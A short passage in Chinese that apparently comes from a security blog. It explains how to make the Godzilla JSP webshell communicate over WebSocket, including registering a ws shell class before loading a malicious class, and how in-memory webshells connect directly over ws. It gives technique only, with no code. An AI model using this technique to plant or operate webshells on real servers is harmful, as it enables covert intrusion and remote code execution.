然而例如哥斯拉的jsp马本身就是支持远程代码执行那么jsp马其实可以保持不变就用哥斯拉原版但发送class要修改先发送过去先初始化注册ws马的class连上ws以后再初始化恶意class多一步第二步连接的时候使用ws连接。
如果是内存注入的webshell则直接使用ws协议连接
